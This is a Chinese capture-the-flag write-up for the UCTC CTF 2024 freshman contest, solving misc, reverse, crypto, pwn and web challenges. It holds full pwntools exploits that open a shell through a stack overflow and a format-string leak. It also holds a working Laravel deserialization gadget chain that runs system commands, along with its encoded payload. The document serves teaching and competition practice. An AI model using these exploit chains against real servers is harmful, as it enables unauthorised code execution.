本文来自:天权信安网络安全生态圈
作者:天权信安网络安全团队
MISC
神秘的文件
先打开附件,并不能直接打开 ,去010查看,发现关键压缩包特征字段,但是发现是反过来的,结合文件名“这是什么”,得知这是一个翻转过来的zip文件
加上zip后缀,写脚本反转
def reverse(inp, out):
with open(inp, 'rb') as f:
data = f.read()
r_data = data[::-1]
with open(out, 'wb') as f:
f.write(r_data)
inp = '么什是这.zip'
out = 'output.zip'
reverse(inp, out)
完成后发现能打开,但是解压的时候被告知压缩文件头损坏,再打开010看一下
发现文件头被改了,应该是50 4B 03 04,(后面那位是版本号位,并不太影响解压)
改完之后发现需要密码且不是伪加密(伪加密知识点请自行搜索),又在文件最后发现了这个
Password is very weak,所以可以试试爆破,这个写脚本和用工具都行,毕竟太基础了,这里用ARCHPR作例
解压后是一张图片和flag.txt
图片里没东西,只是想让你们看看Buu娘有多可爱而已(bushi)然后看flag.txt
只有五个字,但是字符统计是277,结合“你看不见我”猜测是零宽字符隐写(原理自行去搜索相关文章)
flag{m1sc_st39_I5_S0_inT3rEst1n9!}
PWN
EZ_Stack
我们看到重要函数func,关键点就在这个里面,单字节写入,但是没有对数组的下标越界进行检查。
checksec发现不存在canary和pie的,可以直接进行栈溢出,同时发现这里存在后门函数gift
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
虽然这里给了system但是却是cat fake_flag,那么普通的溢出返回地址为gift明显是不行了的,去看汇编的话可以发现gift不止提供了system函数,还提供了gadget:pop rdi;ret,并且此题目还有/bin/sh字符串
那么接下来就是简单的ret2syscall了
EXP
from pwn import *
def bug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))
l64 = lambda :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
context(arch = "amd64",os = "linux",log_level = "debug")
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
#libc = "./libc.so.6"
libc = "/lib/x86_64-linux-gnu/libc.so.6"
p = process(file)
elf = ELF(file)
libc = ELF(libc)
system = p64(0x40079D)
pop_rdi_ret = p64(0x4007a2)
bin_sh = p64(0x602048)
ret = p64(0x40053e)
gift = p64(0x400781)
ru("!!!!n")
payload = b'a'*0x4c
payload += p32(0x54)
payload += pop_rdi_ret+bin_sh+system #ret + gift
for i in payload:
sd(bytearray([i])) # 单字节发送
#sd(payload) 也可以直接发送payload
p.interactive()
对0x54的解释:
我们需要对0x58之后开始布置rop,但是主要这个写入位置是由i来控制的,在填充垃圾数据的时候要注意i的数值,在发送单字节0x54的时候,i+1开始写入数据,此时i被改为0x54,从0x55开始写4字节数据即填充完0x55-0x58,然后i+1继续写数据,也就在0x58之后写入数据了。
userlogin
检查题目保护,Canary 和 PIE 没开
使用 Ghidra 发现登录函数检查两种密码,User 的密码是固定的,而 Root 的密码是通过 generatePassword 函数随机生成的。
接着能在 user 函数中发现格式化字符串漏洞,可以此来泄露 root 密码。
要利用格式化字符串漏洞泄露 root 密码需要先确定泄露目标在栈上的位置,因而使用 GDB 查看。如图逐个尝试或者猜测,这里我选了 %8$, %9$, %10$ 这三个位置,比对一下栈可知 root 密码在 %13$ 的位置。
通过格式化字符串可知 root 密码,root 函数中的 scanf 函数使用不当存在栈溢出漏洞, text 段存在使用 system 函数执行 shell,将以上三点结合起来就能获得 shell。劫持控制流需要填充 0x28 字节数据,可从 ghidra 得知该大小。
最后还需要处理的是 64 位栈溢出常见问题 MOVAPS issue,其原因是 16 字节栈对齐导致的,因此如果选择 shell 函数的第一个指令 push rbp 就会使栈不对齐,导致在 system 函数中出现 MOVAPS issue。为了使栈对齐可以选择跳过第一个指令来解决这个问题。
编写 exp.py ,获取flag
from pwn import *
import sys
context.binary = bin = ELF("./pwn")
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
n = len(sys.argv)
if(n>1):
arg = sys.argv[1].split(":")
ip = arg[0]
port = int(arg[1])
io = remote(ip,port)
else:
io = process(bin.path)
pause()
def login(password):
io.sendlineafter(b'Password: ', password)
login(b'supersecureuser')
io.recvline()
io.sendline(b'%13$s')
rootPassword = io.recvline()
login(rootPassword)
payload = b'A'*0x28 + p64(0x401262)
io.recvline()
io.sendline(payload)
io.interactive()
io.close()
REVERSE
hash&py
这是py??
Flag:flag{h@shiSe@sy}
软件格式64peexe
运行平台window
需要软件hex,pyinstxtractor
单击软件
由图标发现是py软件
利用工具pyinstxtractor来解包,发现是3.8
找到hash文件改名为hash.pyc,查找py3.8的magicnumer
MAGIC_3_8 = 0x0A0D0D55,
修改二进制文件hash.pyc,插入文件16个,这个首部文件要填充这么多然后修改对应的二进制头部magicnumber,注意由于大小端需要倒过来
Struct是原本的文件格式
修改后的
利用uncomply6,pycdc或者网页版即可看出原文
发现是md5,解密后发现四段flag为
flag{h@shiSe@sy}
测试
just_re_java
Just_re_Java
看到错误提示,解包关键词定位,发现没有找到,字符串可能加密了,记录当前 activity
定位到这个类
只有一些控件 id 和一个弹窗展示,看看相关类
有一个 onclick 函数
boolean isCorrect = Enc.ah(userInput);
if (isCorrect) {
MainActivity.access$100(this.this$0, $(0, 2, -17515));
} else {
MainActivity.access$100(this.this$0, $(2, 4, -31808));
}
在 Enc.ah 函数中对我们的 input 进行判断,返回一个 bool 值,最后用一个 if 判断来进行不同的
操作,我们先进 Enc.ah 函数看看
获取 flag 和我们的输入加密后进行对比并返回,函数名没有混淆,可以看见 base64 相关
是本地的一个函数,我们看看整个类的流程
估计是一个变了码表的 base64,我们把整个类复制到 java 在线运行里面调试,他也使用了 flag
类里面的函数,我们再看看 flag 类
$函数和 Enc 类中的一样,都使用了同一种字符串加密,最终返回的 flag 也只是使用了$(0, 32,
-11843);直接 copy 过去调试看看
Base 格式,那么密文我们就拿到了,在 Enc 里面把密文用他的码表解密就行了
把代码复制执行后发现存在报错
静态代码块内使用了 return(jadx 的反编译还是不太行(x))
改一改,改成 for 循环
解出 flag
代码如下:
import java.util.Arrays;
public class Main {
private static short[] $ = {3257, 3256, 3263, 3262, 3261, 3260, 3251, 3250, 3249, 3248, 3255, 3254, 3253, 3252, 3243, 3242, 3241, 3240, 3247, 3246, 3245, 3244, 3235, 3234, 3233, 3226, 3225, 3224, 3231, 3230, 3229, 3228, 3219, 3218, 3217, 3216, 3223, 3222, 3221, 3220, 3211, 3210, 3209, 3208, 3215, 3214, 3213, 3212, 3203, 3202, 3201, 3275, 3274, 3273, 3272, 3279, 3278, 3277, 3276, 3267, 3266, 3259, 3288};
private static final char[] CUSTOM_BASE64_CHARS = $(0, 63, 3323).toCharArray();
private static final byte[] CUSTOM_BASE64_INDEX;
private static String $(int i, int i2, int i3) {
char[] cArr = new char[i2 - i];
for (int i4 = 0; i4 < i2 - i; i4++) {
cArr[i4] = (char) ($[i + i4] ^ i3);
}
return new String(cArr);
}
static {
byte[] bArr = new byte[256];
CUSTOM_BASE64_INDEX = bArr;
Arrays.fill(bArr, (byte) -1);
for (int i = 0; i < CUSTOM_BASE64_CHARS.length; i++) {
CUSTOM_BASE64_INDEX[CUSTOM_BASE64_CHARS[i]] = (byte) i;
}
}
public static String encodeToCustomBase64(String input) {
int i;
int i2;
byte[] bytes = input.getBytes();
StringBuilder sb = new StringBuilder();
for (int b1 = 0; b1 < bytes.length; b1 = i) {
int i3 = b1 + 1;
int b12 = bytes[b1] & 255;
int i4 = 0;
if (i3 < bytes.length) {
i = i3 + 1;
i2 = bytes[i3] & 255;
} else {
i = i3;
i2 = 0;
}
if (i < bytes.length) {
i4 = bytes[i] & 255;
i++;
}
int c1 = b12 >> 2;
int c2 = ((b12 & 3) << 4) | (i2 >> 4);
int c3 = ((i2 & 15) << 2) | (i4 >> 6);
int c4 = i4 & 63;
char[] cArr = CUSTOM_BASE64_CHARS;
sb.append(cArr[c1]);
sb.append(cArr[c2]);
char c = '=';
sb.append(i <= bytes.length ? cArr[c3] : '=');
if (i < bytes.length) {
c = cArr[c4];
}
sb.append(c);
}
return sb.toString();
}
public static String decodeFromCustomBase64(String input) {
int i;
int i2;
byte[] bytes = input.getBytes();
StringBuilder sb = new StringBuilder();
for (int c1 = 0; c1 < bytes.length; c1 = i) {
byte[] bArr = CUSTOM_BASE64_INDEX;
int i3 = c1 + 1;
int c12 = bArr[bytes[c1]];
int i4 = i3 + 1;
int c2 = bArr[bytes[i3]];
int i5 = 0;
if (i4 < bytes.length) {
i = i4 + 1;
i2 = bArr[bytes[i4]];
} else {
i = i4;
i2 = 0;
}
if (i < bytes.length) {
int i6 = bArr[bytes[i]];
i++;
i5 = i6;
}
int c4 = i5;
int b1 = (c12 << 2) | (c2 >> 4);
int b2 = ((c2 & 15) << 4) | (i2 >> 2);
int b3 = ((i2 & 3) << 6) | c4;
sb.append((char) b1);
if (i2 != 0) {
sb.append((char) b2);
}
if (c4 != 0) {
sb.append((char) b3);
}
}
return sb.toString();
}
public static void main(String[] args) {
String flag = "W3WtZ3@uaW@Vc2@EWFZiUnW4V4SidhB=";
String decode = decodeFromCustomBase64(flag);
System.out.println(decode);
}
}
总结:
本题是一个 base64 可变码表的题目,但是我把码表修改少了一位,所以你们使用
cyberchef时可能会出错,防止偷鸡,当然,你们爆破也可以,但是单纯的base64太过简单,所以我
进行了字符串加密,在找不到字符串时又应该怎么做呢,我想,这是师傅希望大罗去自己解决.
just_re_so
Just_re_so
固定查壳和格式
使用 64 位 ida 打开
除了 std 以外,流程还是很清晰的
Allocator,没什么好注意的
常量名也没有加密,将 16 进制的 key 每 8 位分成了 4 组进行 hex 转 uint32 再转 string
简单来说就是将 key 分成了 4 份
循环里面判断我们的输入长度是否是 32 位,是则退出,所以我们可以确定我们的输入应该是
32 位
For 循环,最终董进入了 tea_encrypt 函数,如其名,tea 加密,进去看看
不能说好不相似,只能说一模一样,同时题目描述也告诉过我们,这是一个标准的tea加密,那么
我们直接找到密文和key解密就行,但是要注意,他把key分成了四组进行加密,那么我们解密
的时候也需要同样的操作,那么我们现在开始找key和密文
哦吼,全是??,看来没有初始化,按x找调用
前四个都是我们之前分析过的,进第五个看看
F5看看
那么可以确定,key就是Welcome_To_CTF,Newbie!Have_fun!!
好了,我们再找找密文
这里是check,应该会有,进去看看
就是这个,我们双击
同样的套路
密文也找到了
ee85fa4bc4e5d52fd4fa925596be15ec539f7247ad6632d8bff87de577fed8cc
现在照着网上的tea解密算法copy还原算法就好了
代码:
#include <iostream>
#include <sstream>
#include <cstdint>
#include <array>
#include <vector>
#include <iomanip>
#include <cstring>
// 定义 TEA 轮数,标准建议至少 32 轮
const int NUM_ROUNDS = 32;
const std::string flag =
"ee85fa4bc4e5d52fd4fa925596be15ec539f7247ad6632d8bff87de577fed8cc";
//TEA 解密函数
void tea_decrypt(uint32_t v[2], const uint32_t key[4]) {
uint32_t v0 = v[0], v1 = v[1];
uint32_t delta = 0x9E3779B9;
//uint32_t sum = delta * NUM_ROUNDS & 0xFFFFFFFF;
uint32_t sum = 0xC6EF3720;
for (uint32_t i = 0; i < NUM_ROUNDS; ++i) {
v1 -= ((v0 << 4) + key[2]) ^ (v0 + sum) ^ ((v0 >> 5) + key[3]);
sum -= delta;
v0 -= ((v1 << 4) + key[0]) ^ (v1 + sum) ^ ((v1 >> 5) + key[1]);
}
v[0] = v0;
v[1] = v1;
}
// 将 16 进制字符串转换为 32 位整数
uint32_t hex_to_uint32(const std::string& hex) {
std::stringstream ss;
ss << std::hex << hex;
uint32_t result;
ss >> result;
return result;
}
// 将 32 位整数块转换为字符串
std::string blocks_to_string(const std::vector<uint32_t>& blocks) {
std::string str;
str.reserve(blocks.size() * 4);
for (uint32_t block : blocks) {
for (int i = 0; i < 4; ++i) {
str.push_back(static_cast<char>((block >> (24 - i * 8)) & 0xFF));
}
}
return str;
}
std::vector<uint32_t> hex_to_blocks(const std::string& hex_str) {
std::vector<uint32_t> blocks;
for (size_t i = 0; i < hex_str.length(); i += 8) {
std::string block_str = hex_str.substr(i, 8);
uint32_t block = hex_to_uint32(block_str);
blocks.push_back(block);
}
return blocks;
}
int main() {
// 测试数据
std::string enflag = flag;
std::string key_hex = "Welcome_To_CTF,Newbie!Have_fun!!";
std::array<uint32_t, 4> key = {
hex_to_uint32(key_hex.substr(0, 8)), hex_to_uint32(key_hex.substr(8, 8)), hex_to_uint32(key_hex.substr(16, 8)), hex_to_uint32(key_hex.substr(24, 8))
};
// 将加密后的 16 进制字符串转换为 32 位整数块
std::vector<uint32_t> encrypted_blocks = hex_to_blocks(enflag);
// 解密
for (size_t i = 0; i < encrypted_blocks.size(); i += 2) {
tea_decrypt(&encrypted_blocks[i], key.data());
}
// 解密后的数据
std::string decrypted = blocks_to_string(encrypted_blocks);
std::cout << "Decrypted: " << decrypted << std::endl;
return 0;
}
总结:
一个很普通的 ctf 加密,但是如果是第一次尝试可能会找不到 key 和密文,但是
shift+f12 或许也能有一线生机,虽然是标准 tea 加密,但 key 还是要做变动,照着 ida 反汇编的
copy 再改改就好了,对于初出茅庐的大罗可能会有点困难,或许,这是师傅对他吃饱了撑的的
一剂健胃消食片吧.
WEB
ezLaravel
访问www.zip下载源码,代码审计:
我已经将之前的历史反序列化漏洞都修补好了。需要重新挖掘新的反序列化链。不过可以参考我发的一篇文章https://www.freebuf.com/vuls/357594.html。文章中的反序列化链是文件包含的。解这个题的链子需要rce,所以需要更改反序列化链的后半部分。
反序列化入口,
GuzzleHttpCookieFileCookieJar#__destruct()方法,调用__toString():
IlluminateViewView#__toString()方法:
调用任意类get()方法,
IlluminateFilesystemFilesystemAdapter#get():
任意类read()方法调用,
IlluminateSessionCookieSessionHandler#read():
任意类__get()方法调用,
IlluminateSupportHigherOrderCollectionProxy类:
任意类任意(无参)方法调用,
PHPUnitFrameworkMockObjectMockClass:
写出如下poc:
<?php
namespace GuzzleHttpCookie{
use IlluminateFilesystemFilesystemAdapter;
use IlluminateViewFileViewFinder;
use IlluminateViewView;
use IlluminateViewFactory;
use IlluminateViewEnginesEngineResolver;
use IlluminateFilesystemFilesystem;
class CookieJar{ //调用__toString
private $cookies = [];
function __construct() {
$this->cookies[] = [];
}
}
class FileCookieJar extends CookieJar {
private $filename;
function __construct() {
parent::__construct();
$this->filename = new View(new Factory(new EngineResolver(),new FileViewFinder(new Filesystem(),["./"])),new FilesystemAdapter(),200,"./info.php",["index"]);
}
}
}
namespace IlluminateView{ //调用任意类get方法
use IlluminateEventsDispatcher;
use IlluminateFilesystemFilesystem;
use IlluminateFilesystemFilesystemAdapter;
use IlluminateViewEnginesEngineResolver;
class FileViewFinder implements ViewFinderInterface{
public function __construct(Filesystem $files, array $paths, array $extensions = null){}
}
interface ViewFinderInterface{}
class Factory{
protected $shared = [];
public function __construct(EngineResolver $engines, ViewFinderInterface $finder){
$this->shared = [];
$this->finder = $finder;
$this->events = new Dispatcher();
$this->engines = $engines;
}
}
class View{
protected $data;
public function __construct(Factory $factory, FilesystemAdapter $engine, $view, $path){
$this->view = $view;
$this->path = $path;
$this->engine = $engine;
$this->factory = $factory;
$this->data = [];
}
}
}
namespace IlluminateFilesystem{ //调用read方法
use IlluminateSessionCookieSessionHandler;
class Filesystem{}
class FilesystemAdapter{
protected $driver;
public function __construct(){
$this->driver = new CookieSessionHandler();
}
}
}
namespace IlluminateViewEngines{
class EngineResolver{}
}
namespace IlluminateEvents{
use IlluminateContractsEventsDispatcher as DispatcherContract;
class Dispatcher implements DispatcherContract{}
}
namespace IlluminateContractsEvents{
interface Dispatcher{};
}
namespace IlluminateSession{
use IlluminateSupportHigherOrderCollectionProxy;
class CookieSessionHandler{
public function __construct(){
$this->request = new HigherOrderCollectionProxy();
}
}
}
namespace IlluminateSupport{
use PHPUnitFrameworkMockObjectMockClass;
class HigherOrderCollectionProxy{
public function __construct(){
$this->collection = new MockClass();
$this->method = "generate";
}
}
}
namespace PHPUnitFrameworkMockObject{
final class MockClass{
public function __construct(){
$this->classCode = "system('cat /flag');";
$this->mockName = '123';
}
}
}
namespace{
use GuzzleHttpCookieFileCookieJar;
$pop = new FileCookieJar();
echo urlencode(base64_encode(serialize($pop)));
}
//TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6Mjp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO086MjA6IklsbHVtaW5hdGVcVmlld1xWaWV3Ijo1OntzOjc6IgAqAGRhdGEiO2E6MDp7fXM6NDoidmlldyI7aToyMDA7czo0OiJwYXRoIjtzOjEwOiIuL2luZm8ucGhwIjtzOjY6ImVuZ2luZSI7TzozOToiSWxsdW1pbmF0ZVxGaWxlc3lzdGVtXEZpbGVzeXN0ZW1BZGFwdGVyIjoxOntzOjk6IgAqAGRyaXZlciI7TzozOToiSWxsdW1pbmF0ZVxTZXNzaW9uXENvb2tpZVNlc3Npb25IYW5kbGVyIjoxOntzOjc6InJlcXVlc3QiO086NDU6IklsbHVtaW5hdGVcU3VwcG9ydFxIaWdoZXJPcmRlckNvbGxlY3Rpb25Qcm94eSI6Mjp7czoxMDoiY29sbGVjdGlvbiI7TzozODoiUEhQVW5pdFxGcmFtZXdvcmtcTW9ja09iamVjdFxNb2NrQ2xhc3MiOjI6e3M6OToiY2xhc3NDb2RlIjtzOjIwOiJzeXN0ZW0oJ2NhdCAvZmxhZycpOyI7czo4OiJtb2NrTmFtZSI7czozOiIxMjMiO31zOjY6Im1ldGhvZCI7czo4OiJnZW5lcmF0ZSI7fX19czo3OiJmYWN0b3J5IjtPOjIzOiJJbGx1bWluYXRlXFZpZXdcRmFjdG9yeSI6NDp7czo5OiIAKgBzaGFyZWQiO2E6MDp7fXM6NjoiZmluZGVyIjtPOjMwOiJJbGx1bWluYXRlXFZpZXdcRmlsZVZpZXdGaW5kZXIiOjA6e31zOjY6ImV2ZW50cyI7TzoyODoiSWxsdW1pbmF0ZVxFdmVudHNcRGlzcGF0Y2hlciI6MDp7fXM6NzoiZW5naW5lcyI7TzozODoiSWxsdW1pbmF0ZVxWaWV3XEVuZ2luZXNcRW5naW5lUmVzb2x2ZXIiOjA6e319fXM6MzY6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAY29va2llcyI7YToxOntpOjA7YTowOnt9fX0%3D
发送跑出来的payload即可获取flag:
密码学
重生之我是福尔摩斯
重生之我是福尔莫斯
考点:古典密码
1. 跳舞的小人
2. 维吉尼亚密码
3. 仿射密码
第二张照片为真,所以这里只对第二张照片进行讲解
根据照片显示得知是跳舞的小人密码,解密
得到密文
然后根据提示affine 在凌晨 3 点 5 分时被杀害
得知是affine密码 然后参数a和b为3,5
然后进行解密得到flag
○
以上为本次比赛WP如有问题请私信或联系群内管理员相关人员反馈
注:
由于文章处理问题,有些代码可能存在前进格格式问题,可自行处理也可询问后台或群内管理员给予源码
-- 结束 --
赛事举办联系方式
联系人:张先生
VX:Evan-xuanjing
邮箱:[email protected]/赛事QQ群:895959607
往期回顾
-天权信安网络安全团队-
网络无边 安全有界
用技术撬动未来,用奋斗描绘成功!
天权信安网络安全团队(简称“天权信安”),成立于2022年,是一支研究红蓝对抗、内网渗透、红队武器库、CTF竞赛及其网安相关活动的安全团队。这里聚集着一群有技术有担当有理想、热爱信安奉献信安的多方面专业人才。天权信安的“天权”来源于北斗七星,又称为文曲星,它代表着天资聪颖,能力超群,也象征着天权信安的高标准、高水平与高质量,体现着我们的宗旨--打造一支作风优良、实力强劲、团结协作的精英团队,用技术与毅力共同守护网络安全。目前成员 40 余人,成员也来自于黄鹤网络安全实验室,队员分布于阿尔托大学(国外)、科大、华科、电子科大、警大、江苏海洋大学、国际关系学院、广大、河北师大、吉林师大、西南石油、安工院、湖工大、华师大、湘大、湖南工程学院等国内各大高校,也分布于绿盟科技、奇安信、长亭科技、安恒信息、联通、移动等国内大厂。为“网络安全爱好者”提供一个更好的学习交流生态圈,天权信安欢迎技术大咖、攻防渗透、CTF选手等资深专业人士前来分享网络安全前沿技术、攻防实战经验、内网渗透、IOT安全、电子取证、CTF、APT、工控安全等技术,通过经验分享,来帮助大家了解最新网络安全动态,提升安全技术水平,拓宽知识领域,致力于打造一个开放共享的网络安全生态圈。
原文始发于微信公众号(天权信安):UCTC CTF 2024高校新生网安赛 部分WriteUp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论